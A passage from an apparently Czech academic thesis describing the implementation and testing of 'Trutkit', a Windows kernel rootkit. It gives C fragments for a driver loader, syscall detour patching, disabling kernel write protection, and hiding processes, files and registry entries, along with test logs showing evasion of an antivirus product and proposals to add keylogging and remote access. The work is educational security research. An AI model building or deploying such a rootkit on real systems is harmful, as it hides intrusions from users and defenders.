Trutkit, jak byl rootkit pojmenovan, se sestava ze dvou samostatnych programu —vlastnıho rootkitu ve forme ovladace zarızenı (soubor s prıponou *.sys) a jeho zavadece.Zavadec je obycejny spustitelny soubor bezıcı v uzivatelskem rezimu, jehoz ukolem je pouzenahrat ovladac do jadra. Pro usnadnenı manipulace s programem je ovladac rootkitu za-balen prımo do zavadece jako tzv. vlozeny zdroj (embedded resource). Ve vysledku je takTrutkit tvoren jen jednım spustitelnym souborem.

5.1 Zavadec rootkitu

Po spustenı zavadece je nejdrıve vybalen vestaveny soubor s ovladacem na disk do sys-temove slozky, ve ktere by mel byt v bezpecı pred nahodnym smazanım. Po kompletnımzavedenı bude tento soubor rootkitem skryt. K nalezenı vlozeneho zdroje je postupne po-uzito funkcı FindResource, LoadResource a LockResource [6]. Poslednı jmenovana vracıukazatel prımo na jeho obsah. Nasledne je beznym zpusobem vytvoren prazdny soubor aobsah zdroje do nej prekopırovan.

25

Ve druhe fazi je zaveden modul do jadra pomocı spravce sluzeb [24], ke kteremu je nutnose nejdrıve pripojit funkcı OpenSCManager. Pote jiz lze pokracovat vytvorenım nove sluzbyvolanım CreateService. Dulezite jsou predevsım jejı paty a sesty parametr — mely by bytnastaveny na SERVICE_KERNEL_DRIVER a SERVICE_SYSTEM_START. Tım rıkame systemu, zenase sluzba bude ovladac zarızenı, ktery bude do pameti nahran automaticky po spustenısystemu. Osmy parametr specifikuje absolutnı cestu k souboru ovladace. Tato funkce vytvorıv registrech nekolik klıcu, ktere OS vyzaduje a ktere je nutno pozdeji skryt. Vytvorenousluzbu je potreba nakonec jeste spustit volanım StartService a rootkit se tak nahraje dojadra. K teto posloupnosti kroku jsou vyzadovana prava administratora.

Zavadec musı byt spusten s jednım z parametru -l nebo -u; v ostatnıch prıpadech tisknenapovedu. Parametr -l zavede uvedenym zpusobem rootkit do jadra. Druhy parametrnaopak rootkit z jadra odstranı (byl-li predtım zaveden) a smaze soubor s ovladacem z disku.

5.2 Rootkit

Rootkit pouzıva techniku detour patching, ktera byla popsana v kapitole 3.4.1. Je pro-vaden unos nasledujıcıch systemovych volanı:

• NtQuerySystemInformation – skryvanı procesu

• NtQueryDirectoryFile – skryvanı souboru a slozek

• NtEnumerateKey – skryvanı klıcu v registrech

• NtEnumerateValueKey – skryvanı hodnot v registrech

Cılem rootkitu bude vlozit instrukci skoku na zacatek kazdeho z techto volanı, kteraprenese rızenı na vlastnı funkci. Tyto funkce jsem se rozhodl oznacit prefixem New* a nazvemprıslusneho systemoveho volanı (napr. NewQuerySystemInformation). Kazda z nich musızavolat puvodnı systemove volanı. To vsak nelze provest prımo, nebot’ je jiz poskozeneinstrukcı skoku. K tomuto ucelu slouzı funkce s prefixem Old*, ktere obsahujı odstraneneinstrukce a nasledny skok zpet za prerusene mısto. Tyto funkce jsou oznacovany take jakotrampolına. Po uspesnem provedenı puvodnıho volanı se rızenı vratı opet do nove funkceNewXxx, ktera vyfiltruje zıskane vysledky a vratı je volajıcımu programu. NewXxx funkce taktvorı jen jakousi obalku nad puvodnımi systemovymi volanımi. Schema volanı jednotlivychfunkcı je znazorneno na obrazku 5.1.

26

RET

Filtrování

výsledků

NtXxx

(trampolína)

NewXxx

JMP

CALL

RET

Odstraněné

instrukce

JMP

OldXxx

návrat do

uživatelského režimu

Obrazek 5.1: Schema provadenı upravenych systemovych volanı

5.2.1 Zajistenı prenositelnosti

Disassemblovanım kodu systemoveho volanı NtQuerySystemInformation zjistıme, zese podstatne lisı mezi verzemi operacnıho systemu MS Windows:

Windows XP Windows Vista Windows 76810020000 push 210h 6878030000 push 378h 8bff mov edi,edi

6840a44e80 push 804ea440 6850958881 push 81889550 55 push ebp

e8f667f6ff call 804e243b e89dbce6ff call 8187e208 8bec mov ebp,esp

... ... ...

Kazde systemove volanı je jine a kazde take vyzaduje trochu jiny prıstup k vlozenıpatche. Plne automaticky unos znesnadnujı nasledujıcı charakteristiky architektury IA-32:

• Pocet prepsanych instrukcı i jejich delka v bajtech muze byt obecne ruzna — je nutnedat si pozor, aby nedoslo k rozdelenı instrukce na dve casti.

• Nektere instrukce nelze jednoduse v kodu premıstit na jine mısto (napr. relativnıskoky).

Pro dosazenı potrebne prenositelnosti rootkitu, je potreba nejdrıve porovnat zacatekkazdeho volanı, zda zapada do nektere ze sady preddefinovanych sablon, nazvanych jakosignatury. Vidıme take, ze rozdıl mezi Windows XP a Windows Vista je jenom v hodnoteoperandu instrukce PUSH. Vzhledem k tomu, ze konkretnı hodnota prımych operandu nenırozhodujıcı pro to, zda lze patch aplikovat, je mozno porovnanı signatur vıce zobecnit atyto operandy neporovnavat.

Signaturou budeme rozumet kratkou posloupnost bajtu, kterymi musı systemove volanızacınat. Bajt signatury s hodnotou 0x00 je navıc povazovan za zastupny znak pro libovol-nou hodnotu. V prıpade, ze nebude systemove volanı odpovıdat zadne ze signatur, nebudeproveden jeho unos. Rootkit tak sice nebude skryvat vse, co by mel, ale predejde tak padusystemu.

27

5.2.2 Implementace

Zakladnım pouzitym datovym typem je struktura SyscallPatch, ktera slouzı k ucho-vanı veskerych informacı o unasenem systemovem volanı a je definovana nasledovne:

typedef struct {

PWCHAR prefix[PREFIX_COUNT]; //prefixy skryvanych polozek

unsigned int prefix_count; //pocet prefixu k porovnanı

unsigned int prefix_len[PREFIX_COUNT]; //delky prefixu

int signature_id; //cıslo signatury systemoveho volanı

unsigned int ZwSyscall; //adresa ZwXxx systemoveho volanı

unsigned int NtSyscall; //adresa NtXxx systemoveho volanı

unsigned int OldSyscall; //funkce pro zavolanı puv. sys. volanı (trampolına)

unsigned int NewSyscall; //adresa noveho systemoveho volanı

} SyscallPatch;

Struktura obsahuje seznam polozek, ktere majı byt filtrovany, ID pouzite signatury aadresy NtXxx a ZwXxx systemovych volanı. Dale uchovava adresu rootkitem dodaneho no-veho volanı (NewSyscall) a adresu trampolıny do puvodnıho volanı (OldSyscall). OldXxxfunkce jsou definovany v kodu rootkitu a pri prekladu obsahujı pouze volne mısto ve formeinstrukcı NOP. Ty jsou pri aplikaci patche prepsany instrukcemi odstranenymi z puvodnıhosystemoveho volanı a skokem do nej.

Vstupnım bodem rootkitu je funkce DriverEntry. V te je nejdrıve nastavena ukoncovacıfunkce DriverUnload, takze je mozne rootkit odstranit z jadra bez restartu systemu. Daleje pro kazde systemove volanı naplnena struktura SyscallPatch. Tyto struktury jsou pakkazda zvlast’ predany funkci Patch k provedenı zmen. Definovana je rovnez i komplemen-tarnı funkce UnPatch, ktera je volana z DriverUnload a ktera postupne uvede systemovavolanı do puvodnıho stavu.

Vlozenı patche

Funkce Patch bere jako jediny parametr patch strukturu SyscallPatch. K prove-denı unosu je potreba znat adresy NtXxx funkcı, ktere ale nejsou vzdy z jadra expor-tovany, a proto je potreba je nejdrıve vypocıtat z adres odpovıdajıcıch ZwXxx volanı zapouzitı triku uvedeneho v kapitole 3.3.1. K tomu je nutny prıstup pro ctenı do tabulkySSDT. Delky prefixu skryvanych polozek (patch->prefix_len) jsou predpocıtany funkcıCalculatePrefixLen. Pote je mozno k systemovemu volanı vyhledat odpovıdajıcı signa-turu funkcı MatchSignature, jejız ID je ulozeno do prvku struktury signature_id.

patch->NtSyscall = SyscallAddress((unsigned int) patch->ZwSyscall);

CalculatePrefixLen(patch);

MatchSignature(patch);

if (patch->signature_id == -1) {

//signatura nenalezena

return;

}

V dalsım kroku je potreba pripravit prıslusnou OldXxx funkci, tım ze do nı nakopırujemeinstrukce ze zacatku systemoveho volanı v delce zvolene pouzite signatury:

28

NtPatchaddr = (unsigned char *) patch->NtSyscall;

OldPatchaddr = (unsigned char *) patch->OldSyscall;

for (i = 0; i < signatures_len[patch->signature_id]; i++) {

OldPatchaddr[i] = NtPatchaddr[i];

}

K dokoncenı kodu trampolıny je za zkopırovane instrukce vlozen skok do puvodnıhosystemoveho volanı. Adresa relativnıho skoku je spoctena jako rozdıl adres funkcı NtXxx aOldXxx navysena o delku instrukce samotne.

//vlozenı operacnıho kodu instrukce JMP NEAR za zkopırovane instrukce

OldPatchaddr[signatures_len[patch->signature_id]] = 0xe9;

//ukazatel na operand predchozı instrukce

addr = (unsigned int *) &OldPatchaddr[signatures_len[patch->signature_id] + 1];

//vypoctenı a ulozenı adresy skoku

*addr = (unsigned int) patch->NtSyscall - (unsigned int) patch->OldSyscall + 5;

V poslednı fazi je podobnym zpusobem vlozen skok do systemoveho volanı. Behem tetooperace se muze system na okamzik nachazet v nekonzistentnım stavu, a proto je nutneprovest zmeny v co mozna nejkratsım case. Riziko je dale mozne minimalizovat docasnymzakazanım prerusenı. Predtım je ale potreba odstranit ochranu pameti, o coz se stara funkceMemoryUnProtect; tato ochrana je po provedenı zmen opet zapnuta komplementarnı funkcıMemoryProtect. Vypnutı ochrany je dosahnuto shozenım bitu write protect procesorovehoregistru CR0, o cem se blıze zminuje kapitola 3.1.3.

MemoryUnProtect();

NtPatchaddr[0] = 0xe9;

addr = (unsigned int *) &NtPatchaddr[1];

*addr = (unsigned int) patch->NewSyscall - ((unsigned int) patch->NtSyscall + 5);

MemoryProtect();

Odstranenı patche

Ukolem funkce UnPatch je pri odstranovanı rootkitu navratit provedene zmeny do pu-vodnıho stavu. Nejdrıve se overı, ze systemove volanı bylo skutecne patchnuto, tım ze je IDpouzite signatury ruzne od −1. Pote jsou zkopırovany instrukce z odpovıdajıcıho OldXxx

systemoveho volanı (obsahuje odstranene instrukce) do NtXxx volanı v delce 5 bajtu (delkainstrukce skoku):

NtPatchaddr = (unsigned char *) patch->NtSyscall;

OldPatchaddr = (unsigned char *) patch->OldSyscall;

//obnovenı puvodnıch instrukcı

MemoryUnProtect();

for (i = 0; i < 5; i++) {

NtPatchaddr[i] = OldPatchaddr[i];

}

MemoryProtect();

29

I po uvedenı vsech systemovych volanı do puvodnıho stavu vsak stale nenı mozne rootkitodstranit z jadra. Prestoze kazde nove zavolane volanı jiz prochazı normalnı cestou, stalejeste se muze v systemu nachazet nejake nedokoncene volanı zavolane puvodnım zpusobem.V takovemto prıpade by odstranenı rootkitu vedlo k fatalnı chybe, nebot’ kod rootkitu jepotreba k jeho dokoncenı. Existujı dva zpusoby resenı tohoto problemu:

• Pouzitı cıtace – pri kazdem systemovem volanı inkrementovat cıtac, pri jeho do-koncenı ho dekrementovat. Jakmile bude hodnota cıtace nula, lze rootkit bezpecneodstranit.

• Cekanı – doba cekanı by mela byt dostatecne dlouha k dokoncenı vsech drıve zapoca-tych volanı. Vzhledem k tomu, ze prodlouzenı cekacı doby nijak negativne neovlivnujevykon systemu, nenı problem ji zvolit delsı, napr. 10 sekund.

Ackoliv je prvnı varianta velmi spolehliva, jejı nevyhodou je nutnost pouzıt synchroni-zacnı mechanismy k prıstupu k cıtaci, coz by mohlo mıt negativnı vliv na dobu vykonavanısystemovych volanı. Zvolil jsem proto druhou variantu. Cekanı je provedeno jako poslednıakce ve funkci DriverUnload za pouzitı KeDelayExecutionThread.

Filtrovanı vysledku

Upravena systemova volanı, oznacena prefixem New*, jsou implementovana jako obalkanad puvodnımi volanımi. Vysledky originalnıho volanı jsou filtrovany na zaklade poznatkuzıskanych v kapitolach 4.1 az 4.3. Jednotlive polozky (procesy, soubory, slozky, klıce ahodnoty v registrech) jsou skryvany na zaklade prefixu — zacına-li jmeno nektere z nichzvolenym retezcem, je skryta. O porovnanı nazvu skryvane polozky se sadou prefixu sestara funkce ComparePrefix. Ta postupne prochazı pole prefixu pro skryvanı ve struktureSyscallPatch a porovnava je funkcı RtlCompareMemory na shodu v zacatku.

Protoze systemova volanı vracejı sve vysledky v nekolika ruznych strukturach podlemnozstvı informacı, o ktere je zadame, byly vytvoreny pomocne funkce pro zıskanıjmena polozky z techto struktur. Tyto funkce na zaklade trıdy pozadovanych informacı(FileInformationClass, KeyInformationClass nebo KeyValueInformationClass) pre-typujı ukazatel void* na prıslusny typ a vratı ukazatel na jmeno polozky v teto strukture.Funkce jsou pojmenovany getDirFileName, getRegKeyName a getRegValName pro zıskanıjmena souboru, nazvu klıce v registru resp. nazvu hodnoty v registru. K nim existujı iodpovıdajıcı funkce getDirFileNameLen, getRegNameLen a getRegValNameLen k zıskanıdelky jmena teto polozky. Pro zıskanı nazvu procesu a jeho delky nejsou tyto funkce po-treba, nebot’ v tomto prıpade systemove volanı vracı jejich seznam vzdy jen v jednom typustruktury a na jmeno se tak lze prımo odkazat.

5.2.3 Konfigurace

Konfigurace rootkitu se nachazı v souborech config.c a config.h. Hlavickovy souborobsahuje pouze definici konstant preprocesoru a deklaraci externıch promennych:

#define DEBUG_PRINT 0 //zapne vypis ladıcıch informacı a skryvanych polozek

#define PREFIX_COUNT 3 //velikost tabulky skryvanych prefixu

#define SIGNATURES_COUNT 3 //pocet signatur systemovych volanı

30

//tabulka signatur systemovych volanı

extern unsigned char signatures[SIGNATURES_COUNT][10];

//tabulka delky signatur

extern unsigned char signatures_len[SIGNATURES_COUNT];

Uvedene externı promenne jsou inicializovany v souboru config.c. V nem je nastavenatabulka signatur systemovych volanı. Delka jedne signatury je limitovana na 10 bajtu, cozby melo byt vzhledem k bezne delce instrukcı dostatecne. K zajistenı kompatibility naoperacnıch systemech Windows 7, Vista a XP stacı pro zmınena 4 systemova volanı jen 3signatury:

unsigned char signatures[SIGNATURES_COUNT][10] = {

{0x8b, 0xff, 0x55, 0x8b, 0xec}, //MOV EDI, EDI; PUSH EBP; MOV EBP, ESP

{0x68, 0x00, 0x00, 0x00, 0x00}, //PUSH ?

{0x6a, 0x00, 0x68, 0x00, 0x00, 0x00, 0x00}, //PUSH ?; PUSH ?

};

//delka jednotlivych signatur

unsigned char signatures_len[SIGNATURES_COUNT] = {5, 5, 7};

V druhe casti je inicializovano pole struktur SyscallPatch. Prvnı prvek struk-tury je pole prefixu skryvanych polozek, jehoz velikost je omezena hodnotou konstantyPREFIX_COUNT. Z duvodu optimalizace algoritmu porovnavanı by mely byt jednotlivepolozky v poli serazeny podle delky. Vyuzita delka pole musı byt nastavena do prvkuprefix_count (druhy prvek struktury). Zbytek muze zustat nevyplnen a bude nastaven azza behu. Ve vychozım nastavenı jsou skryvany vsechny procesy, soubory, slozky a polozkyv registru, jejichz jmeno zacına retezcem _root_ a navıc klıce registru, ktere souvisı sezobrazenım rootkitu ve spravci zarızenı.

SyscallPatch patches[4] = {

{ {L"_root_"}, 1 }, //skryte procesy

{ {L"_root_"}, 1}, //skryte soubory a slozky

{ {L"_root_", L"LEGACY__ROOT_TRUTKIT.SYS"}, 2}, //klıce registru

{ {L"_root_"}, 1}, //skryte hodnoty registru

};

31

Kapitola 6

Testovanı

Poslednı kapitola prace se venuje testovanı vytvoreneho rootkitu. Rootkit Trutkit budeotestovan na peti ruznych pocıtacıch s ruzne nastavenym operacnım systemem Windows.Cılem testu bude odhalit funkcnost v ruznych prostredıch a overit ukrytı rootkitu preduzivateli. Na zaver bude vyhodnocen vliv Trutkitu na vykon systemu a nastıneny moznostirozsırenı a vylepsenı.

Testy budou provedeny na nasledujıcıch kombinacıch systemu a nastavenı uzivatelskychuctu:

1. Windows XP SP3 – ucet administratora

2. Windows Vista SP2 – ucet s administratorskymi pravy a vypnutou funkcı UAC1

3. Windows 7 SP1 – ucet s administratorskymi pravy a vypnutou funkcı UAC

4. Windows XP SP3 – administratorsky ucet, antivirovy software ESET NOD32

5. Windows 8 Consumer Preview – ucet uzivatele s administratorskymi pravy azapnutym UAC

6.1 Prubeh testu

Pro ucely testovanı byl ovladac rootkitu prelozen s nastavenım DEBUG_PRINT 1, kterezapne vypis informacı o skryvanych polozkach2. Ladicı vypisy lze zachytavat programemDebugView. Trutkit byl nastaven tak, aby skryval vsechny polozky zacınajıcı retezcem_root_.

Na kazdem pocıtaci byl vytvoren testovacı adresar C:\test\. Do nej byl nakopıro-van spustitelny soubor s Trutkitem a program s nazvem _root_sleep.exe (muze sejednat o libovolnou aplikaci, ktera se po spustenı ihned neukoncı). Dale byl vytvorenprazdny podadresar _root_hidden. Pro testovanı prace s registry byla v korenovem klıciHKEY_CURRENT_CONFIG vytvorena nasledujıcı struktura:

1UAC neboli nastroj pro rızenı uzivatelskych uctu. Pokud je zapnut a uzivatel spustı program, kteryby mohl ovlivnit stabilitu a bezpecnost operacnıho systemu, je uzivatel nejdrıve pozadan o udelenı svolenık provedenı teto akce.

2Pri skutecnem pouzitı rootkitu by melo byt toto nastavenı pochopitelne deaktivovano.

32

HKEY_CURRENT_CONFIG

_root_hiddenvalue = 0

value = 0

HKEY_CURRENT_CONFIG\_root_hiddenkey

value2 = 0

Zacneme zavedenım Trutkitu do pocıtace 1 s Windows XP:

C:\test>trutkit.exe -l

Loaded C:\WINDOWS\system32\_root_trutkit.sys

Jedina informace, kterou zavadec vypsal, je nazev souboru, do ktereho byl vykopırovanovladac rootkitu. Zajımavejsı je prohlednout si ladicı vypisy. Na nich je videt, ze rootkituspesne napadnul vsechna 4 systemova volanı; cıslo za jejich nazvem znacı ID pouzitesignatury.

Loading driver...

Patched NtQuerySystemInformation: 1

Patched NtQueryDirectoryFile: 0

Patched NtEnumerateKey: 2

Patched NtEnumerateValueKey: 2

Driver loaded!

Nynı overme skryvacı schopnosti rootkitu:

C:\test>dir /b

trutkit.exe

C:\test>cd _root_hidden

C:\test\_root_hidden>cd ..

C:\test>_root_sleep.exe

_root_sleep.exe nenı nazvem vnitrnıho ani vnejsıho prıkazu,

spustitelneho programu nebo davkoveho souboru.

C:\test>start _root_sleep.exe

Test ukazal, ze rootkit uspesne vymaskoval skryte soubory a slozky v prıkazu dir.Pokud vsak zname presne jmeno skryte slozky, muzeme s nı stale pracovat — v testu tobylo ukazano na moznosti vstoupit do nı prıkazem cd. Podobne je to i pri praci se soubory.Prıkazovy radek sice nebyl schopny spustit aplikaci ze skryteho souboru prımo, ale totoomezenı jsme schopni obejıt pouzitım prıkazu start. Pohledem do spravce uloh zjistıme,ze zde nenı zadny proces s nazvem _root_sleep.exe, a tedy funguje i skryvanı procesu.Pokracujme proto overenım prace s registry:

C:\test>reg query HKEY_CURRENT_CONFIG

! REG.EXE VERSION 3.0

33

HKEY_CURRENT_CONFIG

value REG_SZ 0

value REG_SZ 0

HKEY_CURRENT_CONFIG\Software

HKEY_CURRENT_CONFIG\System

HKEY_CURRENT_CONFIG\Software

C:\test>reg query HKEY_CURRENT_CONFIG\_root_hiddenkey

! REG.EXE VERSION 3.0

HKEY_CURRENT_CONFIG\_root_hiddenkey

value2 REG_SZ 0

Skryvanı registru bylo overeno sadou prıkazu reg query. V prvnım prıpade byl uspesneskryt podklıc _root_hiddenkey, mısto ktereho je zobrazen dvakrat podklıc Software. Po-dobnym zpusobem je skryta i hodnota _root_hiddenvalue. Ve druhem testu je videtuspesna snaha o vypis obsahu skryteho klıce.

Dale bylo nahlednuto do spravce zarızenı3 a overeno, ze zde ovladac rootkitu nenı uve-den. Poslednım testem je restart systemu. Po provedenı restartu stacı jen zbezne zkontro-lovat, ze je rootkit stale aktivnı a nasledne jej odstranit ze systemu.

Testy na ostatnıch pocıtacıch probehly obdobnym zpusobem. Odlisnosti, ktere nastaly,shrnujı nasledujıcı komentare:

• Na operacnıch systemech Windows Vista a novejsıch je nutno pro spustenı procesuze skryteho souboru prıkazem start zadat jako parametr uplnou absolutnı cestu keskrytemu souboru.

• Na pocıtaci 5 s Windows 8 bylo nutne spustit prıkazovy radek s opravnenım spravcekvuli zapnute funkci UAC.

• Na pocıtaci 4 s aktualnı verzı antiviroveho softwaru ESET NOD32 nebyly zazna-menany zadne problemy. Rezidentnı stıt antiviru a ani nasledna kontrola pocıtacenezaznamenala zadne podezrele aktivity rootkitu.

Trutkit tedy pracuje v souladu se vsemi predpoklady a skryvanı systemovych prostredkufunguje na vsech testovanych systemech. Bylo ukazano, ze rootkit je prenosny na operacnısystemy Windows XP, Windows Vista, Windows 7 a Windows 8. Podporu pro jine verzeOS Windows by melo byt snadne pridat doplnenım dalsıch signatur systemovych volanı dokonfiguracnıho souboru.

6.2 Vliv na vykon systemu

K posouzenı vlivu rootkitu na vykonnost systemu byl vytvoren jednoduchy programspeedtest, ktery merı cas provedenı systemoveho volanı NtQuerySystemInformation. Toto

3Pro zobrazenı vsech zarızenı je nutno zatrhnout Zobrazit skryta zarızenı v menu Zobrazit.

34

volanı bylo zvoleno z duvodu, ze jeho vykonanı nenı ovlivneno rychlostı IO operacı. K merenıjadroveho casu je pouzito funkce GetProcessTimes.

Test byl proveden 100 krat na kazdem pocıtaci ve variantach s rootkitem a bez nej.Vysledky kazde sady testu pak byly zprumerovany. V pocıtaci byl spusten krome bez-nych procesu i jeden skryty. Namerene hodnoty lze nalezt na prilozenem CD ve slozce\testy\vysledky\, souhrnne vysledky jsou pak uvedeny v tabulce 6.1.

PC 1 PC 2 PC 3 PC 4 PC 5

Prumerny cas bez rootkitu [s] 0,0244 0,1900 0,0266 0,0563 0,0212

Prumerny cas s rootkitem [s] 0,0260 0,1910 0,0270 0,0591 0,0217

Zpomalenı [%] 6,15 0,47 1,48 4,76 2,16

Tabulka 6.1: Vliv rootkitu na vykon systemu

Rezie zpusobena rootkitem nepresahovala v nejhorsım prıpade 7 %, coz je v souladus pozadavkem na minimalnı zatez napadene stanice. Na tomto zpomalenı se nejvetsı meroupodılı filtrovanı vysledku systemovych volanı, kdy je potreba kazdou jednotlivou polozkuporovnat, zda nezacına zvolenym prefixem, a prıpadne ji skryt.

6.3 Moznosti vylepsenı Trutkitu

Budoucı vyvoj Trutkitu by se mohl ubırat v nekolika smerech. Urcite by bylo mozneusnadnit konfiguraci, ktera je zatım pevnou soucastı zdrojovych kodu. Pro prakticke vy-uzitı by bylo vhodnejsı nacıtat ji ze zvlastnıho skryteho souboru za behu a mıt moznostokamziteho aplikovanı zmen. Alternativne by mohl byt rootkit schopen komunikovat s uzi-vatelskym rezimem a byt tak ovladan z prıkazoveho radku. Pro utocnıka muze byt rovnezuzitecnou funkcı zachytavanı stisknutych klaves nebo moznost se vzdalene pripojit k napa-dene stanici pomocı skryteho komunikacnıho kanalu.

Druhou moznostı vyvoje je rozsırit rootkit o podporu pro 64bitove systemy MS Win-dows, na kterych je nutne celit hned nekolika zcela novym problemum [4, 25]. Prvnı pre-kazkou, kterou vyzadujı 64bitova Windows, je povinnost svuj ovladac digitalne podepsatnekterou z uznavanych certifikacnıch autorit. Tyto Windows take obsahujı specialnı ochranuKernel Patch Protection (nekdy nazyvano take PatchGuard), ktera zabranuje ovladacumsvevolne modifikovat struktury jadra v pameti. Kvuli teto ochrane jiz nenı mozne naprıkladmenit obsah tabulky SSDT nebo upravovat kod systemovych volanı. Vzhledem k tomu, zepodıl 64bitovych verzı Windows bude neustale narustat a penetrace rootkitu na teto plat-forme je zatım nızka, mohlo by byt vytvorenı takoveho rootkitu prınosem.

35

Zaver

Ve sve praci jsem klasifikoval rootkity do peti skupin podle urovne, na ktere bezı. U jed-notlivych kategoriı jsem uvedl jejich specifika, porovnal implementacnı narocnost a oprav-nenı nutna ke spustenı. Dale jsem vytvoril prehled nekolika nejzajımavejsıch soucasnychrootkitu pro Windows, srovnal jejich vlastnosti a ke kazdemu uvedl strucnou charakteris-tiku.

V dalsı casti prace jsem se zabyval technikami, ktere jsou rootkity pouzıvany k napadenıoperacnıho systemu MS Windows, a zpusoby skryvanı vypocetnıch prostredku. Jednotlivemetody utoku v uzivatelskem i v jadrovem rezimu jsem predstavil a diskutoval jejich vy-hody, nevyhody a omezenı. Porovnal jsem take jejich implementacnı narocnost, vyuzitıvypocetnıch prostredku a riziko odhalenı. Jednu metodu jsem si vybral a implementoval jido vlastnıho rootkitu.

Rootkit Trutkit realizuje skryvanı procesu, souboru, slozek a polozek v registrech naurovni jadra. Rootkit jsem navrhl s ohledem na prenositelnost na nejpouzıvanejsı verzesystemu Windows a s durazem na co nejmensı zatez napadene stanice. Za predpokladu,ze programy zıskavajı informace o stavu systemu vyhradne pomocı systemovych volanı,provadım v rootkitu unos 4 volanı metodou detour patching, ktera castecne prepisuje jejichkod. S tım take souvisela nutnost resit problem prenositelnosti, nebot’ kod systemovychvolanı se mezi ruznymi verzemi Windows lisı. Samotneho skryvanı jsem dosahl filtrovanımvysledku unesenych volanı. Dalsı obtızı, kterou jsem musel vyresit, bylo, jak zjistit adresyunasenych systemovych volanı, protoze nektera z nich nejsou urcena pro pouzitı prımov jadre a jejich adresy z nej nejsou tedy ani exportovany. Podobne jsem se musel vyporadats ochranou pameti, nebot’ klıcove jadrove struktury jsou chraneny pro zapis. Cely Trutkitje tvoren jen jednım spustitelnym souborem, coz velmi usnadnuje jeho ovladanı.

V poslednı fazi jsem Trutkit otestoval na peti pocıtacıch s MS Windows. Testy potvrdilyfunkcnost rootkitu v ruznych prostredıch a na ruznych verzıch systemu Windows (XP, Vista,7 a 8). K merenı casu potrebneho k provedenı vybraneho systemoveho volanı jsem vytvorilvlastnı program. Pomocı neho jsem zjistil, ze rezie zpusobena rootkitem se pohybuje pod7 %, coz je zatez minimalnı.

Budoucı vyvoj prace by se mohl ubırat v nekolika smerech. Jednou z moznostı je doplnitdo Trutkitu dalsı rozsirujıcı funkce. V soucasne dobe Trutkit po svem zavedenı nijak ne-komunikuje s uzivatelskym rezimem, takze nenı naprıklad mozne menit jeho konfiguraci zabehu. Uzitecnou moznostı by take mohla byt realizace jednoducheho odposlechu stisknutychklaves. Druhou alternativou vyvoje je rozsırit rootkit o podporu pro 64bitove systemy Win-dows, ktere obsahujı hned nekolik novych bezpecnostnıch prvku (naprıklad jiz nenı moznelibovolne zapisovat do pameti jadra). Vzhledem k tomu, ze rootkitu pro 64bitova Windowsexistuje zatım jen nekolik a uvedene ochrany prekonavajı rozdılnymi zpusoby, mohlo by bytzajımave tyto techniky zmapovat a podrobne prozkoumat.

36

Literatura

[1] Greg Hoglund, James Butler. Rootkits: Subverting the Windows Kernel. AddisonWesley Professional, USA, 2005. ISBN 0-321-29431-9.

[2] Bill Blunden. The Rootkit Arsenal: Escape and Evasion in the Dark Corners of theSystem. Wordware Publishing, Inc., USA, 2009. ISBN 1-59822-061-6.

[3] Michael A. Davis, Sean M. Bodmer, Aaron LeMasters. Hacking Exposed: Malware &Rootkits Secrets & Solutions. The McGraw-Hill Companies, Inc., USA, 2010.ISBN 978-0-07-159118-8.

[4] Mark E. Russinovich, David A. Solomon, Alex Ionescu. Windows Internals.Microsoft Press, USA, 5 edition, 2009. ISBN 0-7356-2530-1.

[5] Martin Drab. Jadro systemu Windows: kompletnı pruvodce programatora. ComputerPress, Brno, 2011. ISBN 978-80-251-2731-5.

[6] Microsoft. Windows Driver Kit.http://msdn.microsoft.com/library/windows/hardware/ff557573.aspx, 2011.[rev. 2012-20-04].

[7] Larry Stevenson, Nancy Altholz. Rootkits for Dummies. Wiley Publishing, Inc.,USA, 2007. ISBN 978-0-471-91710-6.

[8] Chris Ries. Inside Windows Rootkits.http://read.pudn.com/downloads64/sourcecode/windows/freedic/226557/

Inside%20Windows%20Rootkits.pdf, 2006. [rev. 2012-04-16].

[9] Wikipedia, the free encyclopedia. Rootkits.http://en.wikipedia.org/wiki/Category:Rootkits, 2011. [rev. 2012-04-18].

[10] Samuel T. King, Peter M. Chen, Yi-Min Wang, Chad Verbowski, Helen J. Wang,Jacob R. Lorch. SubVirt: Implementing malware with virtual machines.http://www.eecs.umich.edu/virtual/papers/king06.pdf, 2006. [rev. 2012-04-20].

[11] Erez Metula. Managed Code Rootkits: Hooking into Runtime Environments.Syngress, USA, 2011. ISBN 978-1-59749-574-5.

[12] Greg Hoglund. A *REAL* NT Rootkit, patching the NT Kernel.http://www.phrack.org/issues.html?issue=55&id=5, 1999. [rev. 2012-04-18].

[13] Holy Father. Invisibility on NT boxes, How to become unseen on Windows NT.https://www.blurredlogic.net/ebooks/APJ/APJ-2004-158.pdf, 2003.[rev. 2012-04-28].

37

[14] James Butler, Sherri Sparks. Windows rootkits of 2005.http://www.symantec.com/connect/articles/windows-rootkits-2005-part-one,2005. [rev. 2012-04-20].

[15] Joanna Rutkowska. The Invisible Things Lab’s blog: Introducing Blue Pill.http://theinvisiblethings.blogspot.com/2006/06/introducing-blue-pill.html,2006. [rev. 2012-04-16].

[16] Boris Prochazka. Utoky na operacnı system Linux v teorii a praxi. FIT VUT v Brne,Brno, 2010. diplomova prace.

[17] Intel Corporation. Intel 64 and IA-32 Architectures Software Developer Manuals.http://www.intel.com/products/processor/manuals/, 2011. [rev. 2012-04-20].

[18] Sven B. Schreiber. Undocumented Windows 2000 Secrets: A Programmer’s Cookbook.Addison-Wesley, USA, 2001. ISBN 0-201-72187-2.

[19] Microsoft. ZwXxx Routines.http://msdn.microsoft.com/en-us/library/windows/hardware/ff567122.aspx,2011. [rev. 2012-04-20].

[20] Doug Brubacher Galen Hunt. Detours: Binary Interception of Win32 Functions.http://research.microsoft.com/pubs/68568/huntusenixnt99.pdf, 1999.[rev. 2012-04-16].

[21] Walter Oney. Programming the Microsoft Windows Driver Model. Microsoft Press,USA, 2 edition, 2003. ISBN 0-7356-1803-8.

[22] J. Richter. WINDOWS pro pokrocile a experty. Computer Press, Praha, 1997.ISBN 80-85896-89-3.

[23] Ric Vieler. Professional Rootkits. Wrox Press, USA, 2007. ISBN 978-0-470-10154-4.

[24] Johnson M. Hart. Windows System Programming. Addison-Wesley, USA, 4 edition,2010. ISBN 978-0-321-65774-9.

[25] Martin Drab. Rootkity na platforme x64.http://www.secit.sk/en/content/rootkity-na-platforme-x64, 2011.[rev. 2012-05-04].

38

Seznam pouzitych zkratek asymbolu

zkratka cely nazev vysvetlenıAPI Application Programming Interface Rozhranı pro programovanı aplikacı.BIOS Basic Input–Output System Zakladnı vstupne–vystupnı system v pocı-

